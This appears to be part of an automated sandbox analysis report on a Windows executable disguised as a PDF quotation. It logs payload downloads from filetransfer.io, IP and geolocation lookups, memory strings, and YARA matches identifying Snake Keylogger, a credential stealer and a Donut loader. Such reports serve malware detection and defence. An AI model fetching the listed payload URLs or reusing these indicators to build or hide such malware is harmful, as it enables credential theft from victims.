Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49740 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /data-package/I7fmQg9d/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /storage/download/ndvzPJWaMUSB HTTP/1.1Host: s24.filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /data-package/I7fmQg9d/download HTTP/1.1Host: filetransfer.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: filetransfer.io
Source: global traffic	DNS traffic detected: DNS query: s24.filetransfer.io
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E4D000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050EA8000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E74000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: aspnet_compiler.exe, 00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://filetransfer.io
Source: QUOTATION_NOVQTRA071244PDF.scr.exe	String found in binary or memory: http://filetransfer.io/data-package/I7fmQg9d/download
Source: aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E4D000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050EA8000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E74000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050DB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6C21000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: aspnet_compiler.exe, 00000004.00000002.2960737490.0000019050B9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coH
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6C61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6CCE000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6C61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filetransfer.io/data-package/I7fmQg9d/download
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E3B000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050DE4000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E4D000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050EA8000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050E74000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: aspnet_compiler.exe, 00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75
Source: aspnet_compiler.exe, 00000004.00000002.2961287104.0000019050D96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75p
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6C94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s24.filetransfer.io
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6C94000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6C90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://s24.filetransfer.io/storage/download/ndvzPJWaMUSB
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6D71000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.aspnet_compiler.exe.19060c900e8.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.aspnet_compiler.exe.19060c900e8.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.aspnet_compiler.exe.19060c900e8.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.aspnet_compiler.exe.19060c900e8.1.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000004.00000002.2959415202.000001904EEC0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000002.2215561209.00000228E70FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000004.00000002.2963455838.0000019060C89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000004.00000002.2960594780.0000019050AE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: Process Memory Space: aspnet_compiler.exe PID: 7792, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: aspnet_compiler.exe PID: 7792, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: QUOTATION_NOVQTRA071244PDF.scr.exe

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Code function: 0_2_00007FFD9B8951D3	0_2_00007FFD9B8951D3
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Code function: 0_2_00007FFD9BAB6452	0_2_00007FFD9BAB6452
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Code function: 0_2_00007FFD9BA94C41	0_2_00007FFD9BA94C41
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Code function: 0_2_00007FFD9BA97C29	0_2_00007FFD9BA97C29
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Code function: 0_2_00007FFD9BA919E1	0_2_00007FFD9BA919E1
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Code function: 0_2_00007FFD9BA90060	0_2_00007FFD9BA90060
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Code function: 0_2_00007FFD9BAA4F9D	0_2_00007FFD9BAA4F9D
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Code function: 0_2_00007FFD9BAB56A6	0_2_00007FFD9BAB56A6
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_000001904EEE2B78	4_2_000001904EEE2B78
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_000001904EEE279C	4_2_000001904EEE279C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_000001904EEE3A5C	4_2_000001904EEE3A5C
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_000001904EEE6254	4_2_000001904EEE6254
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_000001904EEE18C0	4_2_000001904EEE18C0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Code function: 4_2_000001904EEE2FA8	4_2_000001904EEE2FA8

Source: QUOTATION_NOVQTRA071244PDF.scr.exe

Static PE information: No import functions for PE file found

Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E7016000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs QUOTATION_NOVQTRA071244PDF.scr.exe
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214794114.0000022880110000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs QUOTATION_NOVQTRA071244PDF.scr.exe
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000000.1718879374.00000228E4E83000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamePzlcy.exeH vs QUOTATION_NOVQTRA071244PDF.scr.exe
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6C31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs QUOTATION_NOVQTRA071244PDF.scr.exe
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6C81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs QUOTATION_NOVQTRA071244PDF.scr.exe
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2225576342.00000228FF620000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameQhbnw.dll" vs QUOTATION_NOVQTRA071244PDF.scr.exe
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6D46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs QUOTATION_NOVQTRA071244PDF.scr.exe
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2222200198.00000228F6F2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs QUOTATION_NOVQTRA071244PDF.scr.exe
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2214866648.0000022880380000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs QUOTATION_NOVQTRA071244PDF.scr.exe
Source: QUOTATION_NOVQTRA071244PDF.scr.exe	Binary or memory string: OriginalFilenamePzlcy.exeH vs QUOTATION_NOVQTRA071244PDF.scr.exe

Source: 4.2.aspnet_compiler.exe.19060c900e8.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.aspnet_compiler.exe.19060c900e8.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.aspnet_compiler.exe.19060c900e8.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.aspnet_compiler.exe.19060c900e8.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.aspnet_compiler.exe.19050ae0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.aspnet_compiler.exe.19060c900e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
